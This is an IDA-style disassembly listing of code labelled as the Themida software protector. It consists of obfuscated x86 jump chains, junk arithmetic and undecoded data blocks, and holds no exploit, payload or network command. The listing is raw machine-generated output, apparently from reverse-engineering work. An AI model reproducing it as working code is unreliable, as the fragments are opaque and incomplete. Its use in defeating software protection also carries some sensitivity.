		dd 1C890000h, 515B5424h, 175055B9h, 51E98170h, 0E9701750h
		dd 0FFFFDEF0h, 0E9CB015Bh, 90DBh, 54241489h, 0C36E9h, 8BCF2900h
		dd 0C481240Ch, 4, 658BE9h
		db 0
; ---------------------------------------------------------------------------


loc_587075:				; CODE XREF: Themida_:00589CCCj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_5903DD
; ---------------------------------------------------------------------------
		dw 0F747h
		dd 6E7C1DFh, 8105EFC1h,	0ABD6ACF7h, 5FF98961h, 0E907E1C1h
		dd 0E18h, 5357D801h, 457FADBBh,	5BDF8972h, 92D5E9h, 80B1B600h
		dd 0C680A0C6h, 8BF3280Fh, 0C4812414h, 4, 0FFC0B60Fh, 57568734h
		dd 69ECE952h, 0B60F0000h, 48F66C0h, 0D38DE987h,	0D6F7FFFFh
		dd 0FFE154E9h, 2434FFFFh, 7810685Eh, 34890000h,	348B5424h
		dd 4C48324h, 4C681h, 0BD550000h, 4, 179AEE81h, 0EE0174AAh
		dd 179AC681h, 335D74AAh, 34312434h, 24343324h, 0E924248Bh
		dd 1822h
dword_58712C	dd 0E9D831ADh, 0FFFFDE3Ah, 0E588F488h, 0DCE95A58h, 0F7000088h
					; DATA XREF: Themida_:00584308o
		dd 8E2C1DAh, 8105E2C1h,	0D70002C2h, 5AD089A9h, 78E0C281h
		dd 0C2815843h, 6BB50099h, 5ECCE9h
		db 0
; ---------------------------------------------------------------------------


loc_587161:				; CODE XREF: Themida_:0058E022j
		pop	esp
		mov	[esp], ebp
		push	1
		pop	ebp
		and	eax, ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_58E6FC
; ---------------------------------------------------------------------------
aFlSjk		db 'f‹$$éjk',0          ; DATA XREF: Themida_:00584388o
		db 0
byte_587189	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0058433Co
		dd 0E1895124h, 4EC81h, 4890000h, 4B824h, 2CE90000h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5871A3:				; CODE XREF: Themida_:00585610j
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_58475E
; ---------------------------------------------------------------------------


loc_5871B8:				; CODE XREF: Themida_:0058A5E9j
		push	eax
		push	esi
		jmp	loc_58A998
; ---------------------------------------------------------------------------
byte_5871BF	db 66h			; DATA XREF: Themida_:00584310o
		dd 68240C8Bh, 6946h, 89243489h,	4BA52E6h, 81000000h, 4F6674EEh
		dd 53D60121h, 43F4E9h, 0DEC78100h, 1D73FDEh, 0C1835FF9h
		dd 0DD4AE904h, 2489FFFFh, 4BE5624h, 1000000h, 5E042474h
		dd 6824148Bh, 4577h, 0E9241489h, 8218h
; ---------------------------------------------------------------------------


loc_587210:				; CODE XREF: Themida_:00590019j
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_58FDD8
; ---------------------------------------------------------------------------
		dw 0F7BDh
aAsG		db 0Ah
		db 0Dh,'a鳃',0
		align 4


loc_587228:				; CODE XREF: Themida_:0058CB50j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		push	2669h
		mov	[esp], edi
		push	0B7Eh
		mov	[esp], ebp
		mov	ebp, 320F41C1h
		mov	edi, 0CDF1BE3Fh
		add	edi, ebp
		pop	ebp
		and	eax, edi
		jmp	loc_588AEA
; ---------------------------------------------------------------------------


loc_58725C:				; CODE XREF: Themida_:00586527j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_5891C3
		push	dword ptr [edi+28h]
		jmp	loc_584693
; ---------------------------------------------------------------------------


loc_58727B:				; CODE XREF: Themida_:0058AAEEj
		add	ah, 0E0h
		sub	bl, 0C3h
		add	bl, ah
		jmp	loc_585F9B
; ---------------------------------------------------------------------------
		dd 4C481h, 0C7810000h, 4, 0E904C783h, 201Eh, 0E924248Bh
		dd 0FFFFEBA5h
; ---------------------------------------------------------------------------


loc_5872A4:				; CODE XREF: Themida_:0058CEF0j
		add	esp, 4
		xor	ecx, 443E4530h
		jmp	loc_588B99
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 62CB6866h, 241C8966h, 2E93E9h
		db 0
; ---------------------------------------------------------------------------


loc_5872C5:				; CODE XREF: Themida_:0058B972j
		xchg	ebx, [esp]
		mov	esp, [esp]
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_58574C
; ---------------------------------------------------------------------------


loc_5872E1:				; CODE XREF: Themida_:00586180j
		push	7975h
		mov	[esp], ebx
		jmp	loc_58A5EE
; ---------------------------------------------------------------------------


loc_5872EE:				; CODE XREF: Themida_:00585A17j
		push	22A5h
		jmp	loc_584B5F
; ---------------------------------------------------------------------------


loc_5872F8:				; CODE XREF: Themida_:0058C3E6j
					; Themida_:0058D5E7j
		push	ecx
		jmp	loc_58FF73
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 651368h, 24348900h, 0C681E689h, 4, 8059E9h, 4F02800h
		dd 24148BB9h, 5204C483h, 0F0003FB6h, 2CD8005Ah,	0E9F4043Fh
		dd 49AFh, 0BE56E089h, 4, 0E95EF001h, 7F4Ch, 5C24048Fh
		dd 0F66F1F6h, 6866CCB6h, 896674C2h, 0F66240Ch, 5166C8B6h
		dd 0D111E99Ch, 0E901FFFFh, 2C1835Dh, 0CFFE9h
		db 0
; ---------------------------------------------------------------------------


loc_58736D:				; CODE XREF: Themida_:00588434j
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		not	ecx
		shr	ecx, 2
		xor	ecx, 1B1E543Bh
		add	ecx, 30DD43EAh
		sub	esi, ecx
		pop	ecx
		and	esi, 62A221C8h
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	esi, eax
		pop	eax
		xor	esi, 20A0214Bh
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------
		dd 11E9D829h, 0B100007Eh, 392CC5h, 7C24E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5873C6:				; CODE XREF: Themida_:00588B02j
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_58B116
; ---------------------------------------------------------------------------
		db 53h,	0FFh, 74h
		dd 8F5B0424h, 248B2404h, 0E2895224h, 4C281h, 0C0E90000h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5873FF:				; CODE XREF: Themida_:005857F3j
		pop	ecx
		push	680h
		mov	[esp], edx
		jmp	loc_590170
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 2
		dd 5C243C87h, 1EB55166h, 4AEB80h, 4AC380EBh, 0B60F5966h
		dd 7B40E9C0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58742A:				; CODE XREF: Themida_:0058653Bj
		xor	[esp], eax
		jmp	loc_58D67D
; ---------------------------------------------------------------------------


loc_587432:				; CODE XREF: Themida_:0058D92Bj
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 628068EDh
		add	eax, 41313899h
		and	eax, 20E03ECDh
		add	eax, 0DF5FDF80h
		jmp	loc_58FBE5
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 95h
		dd 80F3F780h, 0EE80AAEEh, 0D8C5E9C0h, 0E781FFFFh, 7761142Eh
		dd 2DE9D7F7h, 29000033h, 0F348E9E8h, 0C4FEFFFFh, 28C4F480h
		dd 2434FFE1h, 2BF3E9h, 24348900h, 17968h, 24248900h, 4240483h
		dd 6E90685Eh, 14890000h, 4BA24h, 0C6810000h, 0B18572Dh
		dd 0EE81D601h, 0B18572Dh, 8324148Bh, 0C68304C4h, 4EC8102h
		dd 89000000h, 74FF2434h, 0D7E90424h, 6600004Ch,	0EE81665Eh
		dd 0BDE9310Dh, 89000017h, 0BB532434h, 6CC8131Eh, 0F703EBC1h
		dd 81EBD1D3h, 0AD759FEBh, 0E9DE8901h, 8B2h
; ---------------------------------------------------------------------------


loc_5874FC:				; CODE XREF: Themida_:0058CC5Bj
		mov	eax, [esp]
		jmp	loc_58DEDD
; ---------------------------------------------------------------------------
		dd 0BA04C483h, 10032F26h, 685DEA31h, 2230h, 0E9243C89h
		dd 91F1h
; ---------------------------------------------------------------------------


loc_58751C:				; CODE XREF: Themida_:005886A6j
		mov	eax, [esp]
		jmp	loc_5867B9
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 70A7h
; ---------------------------------------------------------------------------


loc_58752C:				; CODE XREF: Themida_:0058F2E1j
		mov	esi, edi
		pop	edi
		shl	esi, 6
		xor	esi, 69D5290Ah
		dec	esi
		sub	esi, 6FB31DECh
		add	esi, 0E538AD87h
		xor	ecx, esi
		jmp	loc_584CB1
; ---------------------------------------------------------------------------


loc_58754C:				; CODE XREF: Themida_:00586AD3j
		add	esp, 4
		jmp	loc_58C9FA
; ---------------------------------------------------------------------------
		dd 6C8AEC88h, 64880424h, 34FF0424h, 0ABE95824h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_587567:				; CODE XREF: Themida_:0058BE9Ej
		push	800h
		pop	ecx
		and	eax, ecx
		jmp	loc_58BC14
; ---------------------------------------------------------------------------


loc_587574:				; CODE XREF: Themida_:0058DD67j
		add	eax, 60AB68C6h
		sub	eax, 232E5243h
		add	eax, edi
		add	eax, 232E5243h
		sub	eax, 60AB68C6h
		jmp	loc_589E22
; ---------------------------------------------------------------------------


loc_58758F:				; CODE XREF: Themida_:0058E485j
		shl	ch, 2
		push	edx
		push	ecx
		mov	cl, 0C3h
		shl	cl, 6
		or	cl, 7Dh
		add	cl, 45h
		jmp	loc_586B64
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFFFF33h, 42474FFh, 886FE9h, 240C8B00h
		dd 4EC81h, 2C890000h, 50E58924h, 4C33A3B8h, 2A790537h
		dd 0E8C11CC1h, 3E0C104h, 4349E9h
		db 0
; ---------------------------------------------------------------------------


loc_5875D9:				; CODE XREF: Themida_:005858E9j
		push	4081h
		mov	[esp], edx
		push	28EEh
		mov	[esp], ebx
		mov	ebx, 789E3722h
		mov	edx, 25166E1Eh
		xor	edx, ebx
		pop	ebx
		add	eax, edx
		pop	edx
		jmp	loc_58B47D
; ---------------------------------------------------------------------------
		dw 564Dh
		dd 8F1311BEh, 5EF5011Ah, 11E9EF01h, 89FFFFD0h, 0E8895EF5h
		dd 0E98AE95Dh, 148BFFFFh, 0BDE95124h, 2800001Dh, 0C0585BDAh
		dd 0C28007E2h, 0D5B9E912h, 9835FFFFh, 512D86Dh,	0AED3239Ah
		dd 8358C129h, 0C181FFC1h, 6CBFA3D1h, 0F700B850h, 0C129EDC7h
		dd 343D2D58h, 0C82913A6h, 0A6343D05h, 58685913h, 0E9000004h
		dd 684h, 8904EC83h, 73E9243Ch
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_587673:				; CODE XREF: Themida_:00585D17j
		push	ebx
		mov	ebx, 58B07C6Fh
		sub	ebx, 27785586h
		add	ebx, 62182E0Ah
		sub	ebx, 0A5F74B3h
		sub	ebx, 6EC640A8h
		add	ebx, 0E86BCA98h
		push	ebx
		xchg	eax, [esp]
		not	eax
		jmp	loc_58ED61
; ---------------------------------------------------------------------------


loc_5876A2:				; CODE XREF: Themida_:0058CCFAj
		or	edx, 4AEC545Fh
		sub	edx, 89BFE7D1h
		xor	edi, edx
		pop	edx
		shr	edi, 2
		add	edi, 1C66391Ch
		add	edi, 0C649AF3Dh
		add	ebx, edi
		jmp	loc_58C220
; ---------------------------------------------------------------------------
aBiHjqsP	db 'ëÜh¦qé×P',0
		align 2
word_5876D2	dw 8B66h		; DATA XREF: Themida_:00584338o
		dd 0EC81240Ch, 4, 68243C89h, 1196h, 81242489h, 42404h
		dd 0BE90000h, 0BE00002Dh, 583541C1h, 0CD8EE81h,	0CE814092h
		dd 5277846h, 40CDC681h,	0EEC10873h, 7EEC108h, 7D32E681h
		dd 0EE814298h, 0EC5DFE12h, 4A5EF289h, 38EDCA81h, 0E2C1559Eh
		dd 2FF28102h, 0E92AC632h, 3336h, 0E9DAF65Bh, 64EBh, 5FF568h
		dd 240C8900h, 37C4BD55h, 0B951661Dh, 5DAF53F6h,	8159CD29h
		dd 0D80893EDh, 0DDBE5620h, 947FB76h, 814D5EF5h,	386FC4C5h
		dd 89E58191h, 812E184Ch, 693946EDh, 83D4E913h, 0E95E0000h
		dd 3E90h, 33243431h, 248B2434h,	7386824h, 0C890000h, 68D18824h
		dd 5D54h, 0E9241489h, 7F51h, 26B25253h,	5FDCE9h
		db 0
byte_5877A9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00584204o
		dd 0E1895124h, 4C181h, 0BE560000h, 11525DC9h, 2366C681h
		dd 0C6812DE7h, 0E5B1AFFh, 4D0FE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5877CE:				; CODE XREF: Themida_:0058CFADj
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_587EB0
; ---------------------------------------------------------------------------


loc_5877DF:				; CODE XREF: Themida_:0058594Bj
		add	ebx, 4
		jmp	loc_587828
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 6D63AF7h, 27A8ED81h,	0F58150F2h, 0D64EB7BDh,	0E95DEF21h
		dd 0FFFFF9DDh, 0B2241489h, 0ECE953F9h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_58780F:				; CODE XREF: Themida_:0058E4ABj
		mov	ecx, [esp]
		push	ebp
		jmp	loc_58E502
; ---------------------------------------------------------------------------
		dd 1E53F8B9h, 7C1813Eh,	0E9C1E1A8h, 715Ch
; ---------------------------------------------------------------------------


loc_587828:				; CODE XREF: Themida_:005877E5j
		add	ebx, 4
		jmp	loc_589A38
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 6524E981h, 0E9014D97h, 6524C181h,	0D8E94D97h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58784B:				; CODE XREF: Themida_:0058BE19j
		push	ecx
		push	7EA8h
		mov	[esp], ebp
		mov	ebp, 0E480497h
		push	ebx
		mov	ebx, 45744F4Ah
		add	ebp, ebx
		pop	ebx
		xor	ebp, 5B210405h
		jmp	loc_589CD1
; ---------------------------------------------------------------------------


loc_58786D:				; CODE XREF: Themida_:0058B937j
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		jmp	loc_58EED2
; ---------------------------------------------------------------------------


loc_587878:				; CODE XREF: Themida_:005883DAj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_58E6CA
; ---------------------------------------------------------------------------


loc_58788C:				; CODE XREF: Themida_:0058CF3Cj
		add	esi, 4
		push	eax
		push	esi
		mov	esi, 0B4C2D3Eh
		jmp	loc_58F8C7
; ---------------------------------------------------------------------------
word_58789E	dw 8B66h		; DATA XREF: Themida_:005842D8o
		dd 0E068240Ch, 89000014h, 0EC83243Ch, 48F5404h,	24048124h
		dd 4, 0E9243C8Bh, 2EF0h
; ---------------------------------------------------------------------------


loc_5878C0:				; CODE XREF: Themida_:0058BF7Dj
		add	eax, 30BE5F25h
		add	eax, edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 30BE5F25h
		sub	eax, edx
		pop	edx
		push	dword ptr [eax]
		pop	ecx
		mov	eax, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_585B8F
; ---------------------------------------------------------------------------


loc_5878EC:				; CODE XREF: Themida_:0058E4CEj
		sub	bl, 4Eh
		jmp	loc_58C215
; ---------------------------------------------------------------------------
		dd 444BCE2Dh, 41E95F4Dh
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5878FF:				; CODE XREF: Themida_:0058CCB5j
		mov	ecx, 21B27447h
		shl	ecx, 1
		inc	ecx
		inc	ecx
		jmp	loc_58BD12
; ---------------------------------------------------------------------------


loc_58790D:				; CODE XREF: Themida_:0058A27Ej
		add	dword ptr [esp], 2C861353h
		jmp	loc_589F8F
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 81h
		dd 0DE4679E3h, 8FBD555Ch, 31187950h, 0DE315DEBh, 8DF6815Bh
		dd 930F54Fh, 0F7815EF7h, 0D3B05013h, 2D5FF889h,	1, 0E0129235h
		dd 14FBE963h
		db 2 dup(0)
word_58794E	dw 48Bh			; DATA XREF: Themida_:00584418o
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58BDB8
; ---------------------------------------------------------------------------
		db 0BBh
		dd 1782235Dh, 691CCB81h, 0EB813D52h, 251327C7h,	0F7FFC383h
		dd 90C381D3h, 17D0F99h,	241C8BD8h, 5204C483h, 77A368h
		dd 24048900h, 24021CB8h, 645FE951h, 0A0680000h,	89000009h
		dd 9EBF243Ch, 29247332h, 0EA015FFAh, 329EC281h,	8B5D2473h
		dd 815B5A0Ah, 4ECh, 242C8900h, 5D968h, 243C8900h, 6B243481h
		dd 0E96F4A02h, 4B2Ah, 0D0F7D0F7h, 0C0CB4435h, 58C60144h
		dd 73E95A5Bh, 8B000022h, 89562414h, 1EE4E9E6h, 0D8010000h
		dd 4055Bh, 4BE90000h, 0F7000015h, 815F2414h, 0F94097F7h
		dd 0E9D7F74Eh, 0F73h
; ---------------------------------------------------------------------------


loc_587A0C:				; CODE XREF: Themida_:00585FD2j
		add	esp, 4
		push	63F6h
		jmp	loc_589D79
; ---------------------------------------------------------------------------


loc_587A1C:				; CODE XREF: Themida_:005904EDj
		pop	edx
		and	ch, bh
		pop	bx
		push	edx
		push	ebx
		jmp	loc_5855F5
; ---------------------------------------------------------------------------
		dd 2C8BEE29h, 791CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_587A32:				; CODE XREF: Themida_:0058C252j
		mov	eax, esp
		add	eax, 4
		jmp	loc_58BEDB
; ---------------------------------------------------------------------------
		dw 805Ch
		dd 0E63093EEh, 0E630F430h, 8601EC80h, 41C680E6h, 0BDE9F030h
		db 56h,	2 dup(0)
byte_587A57	db 66h			; DATA XREF: Themida_:00584250o
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 39245B35h
		dec	esi
		sub	esi, 56506044h
		shr	esi, 8
		push	ebp
		mov	ebp, 1
		jmp	loc_58B7E1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 240C8700h, 0F3FBE95Ch,	0B951FFFFh, 3C4924AEh
		dd 98A3E2BAh, 59CA2987h, 55AD029h, 3A6D5A0Fh, 43D068h
		dd 240C8900h, 0E2506AB9h, 4EC8124h, 89000000h, 0BD55241Ch
		dd 45C63B3Eh, 0E5C14D4Dh, 14F75504h, 3D0E924h, 68BA0000h
		dd 50001A17h, 0E94827B8h, 4FEA8105h, 29512728h,	4FC281C2h
		dd 58512728h, 4A04EAC1h, 0BBBF281h, 0C2816890h,	0F96472Ch
		dd 0FFEF07E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_587AFD:				; CODE XREF: Themida_:0058F8C9j
		pop	esi
		not	eax
		xor	eax, 3C0E2508h
		or	eax, 4A39061Bh
		jmp	loc_58D145
; ---------------------------------------------------------------------------
		db 0BDh
		dd 85D6F14h, 3B48E9h, 10E95100h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_587B1F:				; CODE XREF: Themida_:00588098j
		sub	esp, 4
		jmp	loc_585D84
; ---------------------------------------------------------------------------


loc_587B27:				; CODE XREF: Themida_:00584B43j
		pop	eax
		push	edi
		push	ebp
		mov	ebp, 4501701h
		not	ebp
		push	ebx
		mov	ebx, 555D00F6h
		or	ebp, ebx
		pop	ebx
		jmp	loc_58C8AE
; ---------------------------------------------------------------------------


loc_587B3F:				; CODE XREF: Themida_:0059060Ej
		add	ebp, 6C2961DCh
		pop	edx
		jmp	loc_5906EA
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BE5603EAh, 7E88586Ah, 5DAC681h, 0F6816F78h,	98C15C87h
		dd 8A87E9h, 0A0E95000h,	53000043h, 0C78097B7h, 66E1E9ADh
		dd 4BE0000h, 1000000h, 5E042474h, 4C2815Ah, 0E9000000h
		dd 3BC3h
dword_587B8C	dd 240C8B66h, 24BCE9h		db 0
; ---------------------------------------------------------------------------


loc_587B95:				; CODE XREF: Themida_:00588FC1j
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_587C42
; ---------------------------------------------------------------------------
		dd 0C6FE5966h, 0AAE9CEFEh, 0BBFFFFF8h, 4, 0FFD262E9h, 61F7BDFFh
		dd 7EBB7224h, 31766C7Dh, 0D3F75DEBh, 601EF381h,	0C3817B76h
		dd 8A110828h, 74C7EA81h, 0DA01488Ah, 74C7C281h,	75E9488Ah
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_587BE7:				; CODE XREF: Themida_:0058E6ABj
		pop	edx
		push	esi
		jmp	loc_58D402
; ---------------------------------------------------------------------------


loc_587BEE:				; CODE XREF: Themida_:00588241j
		pop	ebp
		add	esp, 4
		sub	[edi+24h], ecx
		pop	ecx


loc_587BF9:				; CODE XREF: Themida_:00585933j
		push	3B23h
		jmp	loc_58AA12
; ---------------------------------------------------------------------------


loc_587C03:				; CODE XREF: Themida_:0058F89Bj
		xor	ecx, 1A4BADC6h
		add	eax, ecx
		pop	ecx
		pop	ecx
		push	2BFBh
		mov	[esp], edi
		mov	edi, 55A01CC5h
		push	edx
		jmp	loc_585A54
; ---------------------------------------------------------------------------
		dd 0F758C321h, 4EBC1D3h, 7AF8F381h, 51530EF7h, 194729B9h
		dd 19BBE977h, 0E5C00000h, 688E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_587C42:				; CODE XREF: Themida_:00587B9Fj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_586610
; ---------------------------------------------------------------------------
aSd		db 'µ-éD]',0
		align 4
		dd 0EBC1D3F7h, 28E95003h, 0FFFFFFF3h, 53592434h, 0C381E389h
		dd 4, 0FFDAB8E9h, 24248BFFh, 27B8E9h, 98E98000h, 8059CB00h
		dd 0E30058C3h, 8058EB80h, 34FFA8EBh, 0CFE95824h, 8B000071h
		dd 0C4812414h, 4, 8904EC83h, 6851243Ch,	165F1FD0h, 0D1D9F759h
		dd 0B4E981E9h, 812FA138h, 2022FEC1h, 0E9CF8929h, 3BDh
; ---------------------------------------------------------------------------


loc_587CC8:				; CODE XREF: Themida_:005852DBj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5905A8
; ---------------------------------------------------------------------------
		dw 0DD01h
		dd offset dword_55C548+6A1h
		dd 505D6600h, 405E089h,	0E9000000h, 0FFFFCA2Bh,	55243489h
		dd 81E78957h, 4C7h, 8281E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_587CFE:				; CODE XREF: Themida_:00588829j
		mov	ebx, 4
		push	ebp
		mov	ebp, 408826BCh
		add	edx, ebp
		pop	ebp
		sub	edx, 79042320h
		sub	edx, ebx
		add	edx, 79042320h
		jmp	loc_58BC08
; ---------------------------------------------------------------------------


loc_587D1F:				; CODE XREF: Themida_:00584DB8j
		push	edx
		jmp	loc_585D25
; ---------------------------------------------------------------------------


loc_587D25:				; CODE XREF: Themida_:0058E7C7j
		mov	ecx, 65065045h
		sub	ecx, 2FF93922h
		or	ecx, 4BEC66DAh
		or	ecx, 48D1763Bh
		add	ecx, 0F435A6D4h
		add	dword ptr [esp+4], 48C12319h
		sub	[esp+4], ecx
		jmp	loc_58E3CA
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E800AD2Ch, 98E9AD04h
		db 0D2h, 2 dup(0FFh)
byte_587D5F	db 66h			; DATA XREF: Themida_:00584298o
		dd 81240C8Bh, 4ECh, 305EE900h, 0F6810000h, 46C10A4Ah, 0DA4F681h
		dd 0EE811371h, 48134A39h, 0E6C1D6F7h, 0D1F68104h, 145724Eh
		dd 0F0015EF0h, 7243412Dh, 24348B33h, 0FFCA51E9h, 4E3C1FFh
		dd 465EEB81h, 0DF89F8E2h, 4495E95Bh, 0E95B0000h, 0FFFFDAE5h
; ---------------------------------------------------------------------------


loc_587DB4:				; CODE XREF: Themida_:0058C871j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	50441F6Eh
		pop	eax
		add	eax, 0AFBBE093h
		push	eax
		push	esi
		mov	esi, 1DE83071h
		add	[esp+4], esi
		pop	esi
		pop	edx
		sub	edx, 1DE83071h
		mov	eax, [esp]
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5884DC
; ---------------------------------------------------------------------------


loc_587E02:				; CODE XREF: Themida_:00585823j
		push	ebp
		jmp	loc_58A503
; ---------------------------------------------------------------------------


loc_587E08:				; CODE XREF: Themida_:0058F938j
		push	0
		sub	[esp], esi
		jmp	loc_58A2BB
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 2EA76855h, 0BFE927EBh, 1FFFFC6h, 5E042474h, 4EC835Dh
		dd 0B8240489h, 4, 2A7DC581h, 0C50111E0h, 2A7DED81h, 0E95811E0h
		dd 52D6h, 4D3665Ch, 20E99C24h, 59FFFFC6h, 815FF901h, 4C1h
		dd 240C8700h, 89EA815Ch, 1092A3Eh, 89C281C2h, 81092A3Eh
		dd 3C49E1C2h, 0C5F9E94Ch, 0F168FFFFh, 8900007Fh, 68240Ch
		dd 0E923FB63h, 4B7Ch, 0BD242C89h, 8C694Bh, 4246C29h, 0C5D5E95Dh
		dd 0C15DFFFFh, 0C58106EDh, 0FD718ED0h, 0E95DEB89h, 0FFFFDD6Fh
; ---------------------------------------------------------------------------


loc_587EB0:				; CODE XREF: Themida_:005877DAj
		mov	bh, 0FDh
		jmp	loc_589094
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 0Bh, 0AB04B850h,	0BDE98122h, 8BFFFFCEh
		dd 0C481242Ch, 4, 63A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_587ED9:				; CODE XREF: Themida_:005894BDj
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		mov	ax, [esp]
		push	1DD2h
		mov	[esp], esi
		push	2991h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_586B1D
; ---------------------------------------------------------------------------
		dd 50243489h, 156FF7B8h, 6FF53522h, 0B9E92215h,	5800004Eh
		dd 0E904E1C0h, 0B35h
; ---------------------------------------------------------------------------


loc_587F1C:				; CODE XREF: Themida_:00588D65j
		push	6C29h
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_58A6F9
; ---------------------------------------------------------------------------
		db 0FFh
		dd 83592434h, 0EC8304C4h, 243C8904h, 443B84BFh,	91CF8155h
		dd 0C13D110Dh, 0C78102EFh, 0E0AAB01Dh, 0E95FFE29h, 5635h
		dd 0C581CD87h, 805B6801h, 2C8BEF29h, 4C48324h, 3077F781h
		dd 0BE565FA0h, 18605BCEh, 348BF709h, 4C48324h, 5BCAEF81h
		dd 0FB01BD74h, 4C3835Fh, 188668h, 241C8900h, 42474FFh
		dd 24048F5Bh, 24048B5Ch, 4EC81h, 3C890000h, 81E78924h
		dd 4C7h, 0DE03E900h, 0D001FFFFh, 521D8E05h, 8286814h, 2C890000h
		dd 1F80BD24h, 0E5C1512Dh, 0D6F58107h, 0C15D1873h, 0C58103E5h
		dd 0F118C676h, 5A5DE829h, 74FCB951h, 0E1C1482Ah, 20E98108h
		dd 830D5029h, 148904ECh, 0BA24h, 8FE90000h, 0B300006Dh
		dd 6883045Eh, 7447h, 0B3241C89h, 80D3F618h, 0EB801BF3h
		dd 0E2F3804Ah, 0FFCDB5E9h, 2CD828FFh, 20D3E9D4h, 0C4810000h
		dd 4, 405h, 40500h, 35E90000h, 56FFFFD0h, 0BF57E689h, 4
		dd 3C8BFE01h, 4DDFE924h, 535C0000h, 490557BBh, 5BDF2150h
		dd 6572F781h, 0FB297E8Ch, 81C3295Fh, 8C6162C3h,	0E9008F6Eh
		dd 0FFFFC407h, 8B240C87h, 0F662424h, 9C2404B3h,	0FFC3F6E9h
		dd 4C483FFh, 37A4E9h, 0BA525900h, 86A4245h, 0CEC7E942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_588092:				; CODE XREF: Themida_:0058D0F6j
		xor	ebx, ebp
		pop	ebp
		add	eax, ebx
		pop	ebx
		jmp	loc_587B1F
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 8Ah
		dd 8162E451h, 4ECh, 241C8900h, 396A68BBh, 0C3EB813Eh, 0C139F139h
		dd 0A7E907EBh, 0C1000065h, 0A5E906E5h, 5B00006Bh, 31240433h
		dd 4332404h, 24248B24h,	9C242CD3h, 0FFC396E9h, 43ED81FFh
		dd 52FDB7CCh, 0FFF9E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


